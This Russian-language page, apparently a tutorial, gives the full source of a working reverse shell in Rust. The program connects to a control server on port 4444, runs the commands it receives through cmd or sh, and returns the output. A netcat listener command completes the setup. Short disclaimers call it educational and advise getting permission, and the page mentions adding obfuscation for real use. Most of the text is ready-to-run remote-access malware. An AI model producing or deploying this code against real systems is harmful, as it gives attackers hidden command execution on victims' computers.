Создание реверс-шелла является потенциально опасной деятельностью и может использоваться в незаконных целях. Тем не менее, понимание того, как его создать, может быть важным для профессионалов в области безопасности для тестирования систем на уязвимости и разработки контрмер.
Приведу пример простого реверс-шелла на Rust, который будет пытаться подключиться к заданному IP-адресу и порту, и после подключения выполнить системные команды, переданные удаленным пользователем. Обратите внимание, что данный код предназначен только для образовательных целей и не должен использоваться без четкого разрешения на всех этапах его эксплуатации.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
use std::net::{TcpStream}; use std::process::{Command, Stdio}; use std::io::{self, Read, Write}; use std::str; fn main() { let remote_ip = "127.0.0.1"; // IP-адрес управляющего сервера let port = "4444"; // Порт управляющего сервера match TcpStream::connect(format!("{}:{}", remote_ip, port)) { Ok(mut stream) => { println!("Успешно подключено к {}:{}", remote_ip, port); loop { let mut command = String::new(); let mut buffer = [0; 1024]; // Читаем команду от сервера match stream.read(&mut buffer) { Ok(size) => { command.push_str(str::from_utf8(&buffer[..size]).unwrap()); }, Err(e) => { println!("Ошибка при чтении команды: {}", e); return; } }; if command.is_empty() { continue; } println!("Выполняется команда: {}", command); // Обрабатываем команду выполнения let output = if cfg!(target_os = "windows") { Command::new("cmd") .args(&["/C", &command]) .stdout(Stdio::piped()) .stderr(Stdio::piped()) .output() } else { Command::new("sh") .arg("-c") .arg(&command) .stdout(Stdio::piped()) .stderr(Stdio::piped()) .output() }; // Отправляем результат обратно на сервер match output { Ok(output) => { if let Err(e) = stream.write(&output.stdout) { println!("Ошибка при отправке stdout: {}", e); } if let Err(e) = stream.write(&output.stderr) { println!("Ошибка при отправке stderr: {}", e); } } Err(e) => { let err_msg = format!("Ошибка при выполнении команды: {}", e); if let Err(e) = stream.write(err_msg.as_bytes()) { println!("Ошибка при отправке сообщения об ошибке: {}", e); } } } } }, Err(e) => { println!("Не удалось подключиться: {}", e); } } } |
Этот код представляет собой базовую реализацию реверс-шелла. Он пытается установить соединение с сервером управления, читает команды от этого сервера, выполняет их в локальной среде и отправляет результаты обратно.
Важно:
- Всегда получайте четкое разрешение на использование таких инструментов в сетях или на компьютерах, которые не принадлежат вам.
- Приведенный выше код не содержит функций обфускации и шифрования, которые могут быть необходимы для обеспечения безопасности и конфиденциальности в реальных условиях.
- Ответственность за использование данного кода лежит на пользователе.
Чтобы данный пример заработал, необходимо на удаленном компьютере запустить слушающий сокет, который сможет принимать входящие подключения и отправлять команды, например, с помощью утилиты netcat
:
1 |
nc -lvp 4444 |
Это откроет порт 4444
и будет слушать входящие подключения.